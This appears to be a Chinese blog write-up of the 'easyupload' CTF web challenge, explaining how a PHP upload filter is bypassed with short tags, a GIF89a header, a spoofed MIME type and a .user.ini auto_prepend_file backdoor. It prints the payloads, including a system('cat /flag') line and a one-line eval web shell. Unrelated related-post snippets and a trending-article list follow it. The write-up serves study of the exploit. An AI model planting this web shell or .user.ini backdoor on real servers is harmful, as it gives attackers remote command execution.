刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

  • 检查文件内容是否有php字符串
  • 检查后缀中是否有htaccess或ph
  • 检查文件头部信息
  • 文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,

可以参考以下文章

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

知识点:

auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

知识点:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

 php下检测(使用getimagesize函数无法判断其图片是无效的)

第四点绕过方法即修改上传时的Content-Type为image/jpg

得到flag过程:

上传.user.ini,内容为:

GIF89a
auto_prepend_file=a.jpg

上传a.jpg,内容为:

GIF89a
<?=system('cat /flag');?>

GIF89a<?=eval($_REQUEST['cmd']);?>

上传成功根据文件地址连接蚁剑获取flag

攻防世界ctf题目easyupload做题笔记。相关推荐

  1. 攻防世界-leaking-(详细操作)做题过程

    如有不对的地方,还请各位大佬指正.下面开始做题: 进入题目以后是一串代码,又是代码审计,很烦啊......哎.下面是需要了解的php函数含义: require()是php的内置函数,作用是引入或者包含 ...

  2. 攻防世界ctf题目fileinclude笔记

    根据提示,网站首页目录  /var/www/html/index.php ,   flag在flag.php中,右键查看源代码. @include处存在文件包含漏洞,变量从网站传过来的cookie确定 ...

  3. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  4. 攻防世界MISC进阶区刷题记录

    文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...

  5. C语言程序设计做题笔记之C语言基础知识(下)

    C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...

  6. verilog练习:hdlbits网站上的做题笔记(6)

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  7. verilog练习:hdlbits网站上的做题笔记(7)!强烈推荐!

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  8. buuctf-MISC篇做题笔记(2)

    buuctf-MISC篇做题笔记(2) 第七题:基础破解 先看题目提示,可能也要暴力破解 打开后是RAR文件,需要密码 我是用RARpassword暴力破解,且根据题意已知是四位纯数字密码,设置破解的 ...

  9. verilog练习:hdlbits网站上的做题笔记(5)

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

最新文章

  1. 2018ACM四川省赛G.Grisaia(超棒的杜教筛好题)
  2. Ubuntu升级后apache所有的失败,以解决虚拟文件夹的设置
  3. 10JavaScript中的预解析
  4. 依赖类型dependency type在maven中的作用
  5. 直播APP开发注意事项汇总
  6. 每日一皮:客户说想要增加一个新功能,你看我做的如何?
  7. 为什么 在内存中为什么 0xffff 是 -1
  8. html删除一行增加一行,html怎么增加一行
  9. mediawiki 搭建
  10. 初识数据库 1006
  11. iphone闪退修复工具_iPhone更新iOS 13出现程序闪退?大家不妨试试这个方法来解决问题...
  12. 全局路径规划:图搜索算法介绍3(A stars tie breaker)
  13. 使用std::function 把类成员函数指针转换为普通函数指针
  14. 关于出现Not an editor command: Bundle ‘**/*.vim‘的解决方案【转】
  15. 排序算法、数据结构动态图、动态运行效果
  16. jdk1.6-64下载
  17. Jlink按照用zadig升级用于openocd后,还原
  18. Antd Form Upload 报fileList错误-解决方案
  19. 计算机是不是属于文具类,计算器属于学生文具吗?
  20. 易观CTO郭炜:开源,不是天才的甜点,而是勤奋者的盛宴

热门文章

  1. 【记录】批处理文件提取 (2020.8.26)
  2. 深度学习常用工具-数据增强+绘图
  3. 关于maven项目更新依赖时的问题解决
  4. excel导入如果是数字类型的poi的cell.getStringCellValue()会报错
  5. 热门 UI 组件库离线文档制作教程(iView、Arco Design)
  6. vue边缘不规则照片墙/图片墙(附开场动画)
  7. MATLAB数字信号处理(1)四种经典功率谱估计方法比较
  8. 微机原理——平方值查表
  9. 使用netty实现简单tcp服务端
  10. 卸载小番茄_不想卸载,这些小众高级的APP竟然比B站还好用!